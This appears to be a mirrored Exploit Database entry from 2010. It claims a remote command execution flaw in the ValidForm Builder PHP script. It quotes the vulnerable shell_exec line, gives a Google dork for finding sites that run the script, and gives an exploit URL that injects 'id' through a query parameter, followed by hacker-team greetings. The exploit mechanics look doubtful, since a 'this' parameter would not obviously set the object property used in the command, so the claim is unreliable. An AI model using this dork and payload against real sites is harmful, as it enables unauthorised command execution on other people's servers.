ValidForm Builder script – Remote Command Execution

• Exploit Database
• 13 阅读

• 作者： HaCkEr arar
  日期： 2010-07-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14454/

• # Exploit Title: ValidForm Builder script Remote Command Execution
  Vulnerability
  # Date: 2010/07/23
  # Author: HackeR aRaR
  # Email: y.0@hotmail.de
  # My Sites : www.vbspiders.com
  # Script home: http://www.phpgalleryscript.org
  # download Script:
  http://validformbuilder.googlecode.com/files/validformbuilder_v.1.0.zip
  # Tested on: Windows
  # Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
  #ViRuS Qalaa:em9@live.com <Qalaa%3Aem9@live.com>
  :::::::::::::::::::::::::
  =================Exploit=================
  
  -=[ vuln c0de ]=-
  shell_exec("$this->sFlitePath -t \"$sText\" -o
  $this->sAudioPath$sFile.wav");
  /libraries/ValidForm/class.phpcaptcha.php
  Line:466
  
  ----exploit----
  Dork: "PHP Gallery © 2010 PHP Weby hostgator coupon"
  
  http://{localhost}/{path}/libraries/ValidForm/class.phpcaptcha.php?this=id<http://%7blocalhost%7d/%7Bpath%7D/libraries/ValidForm/class.phpcaptcha.php?this=id>
  
  ---------greatz----------
  Greatz to :
  ViRuS Qalaa,VoLc4n0
  
  and My friends Others and My friends in MSN
  EnJoY o_O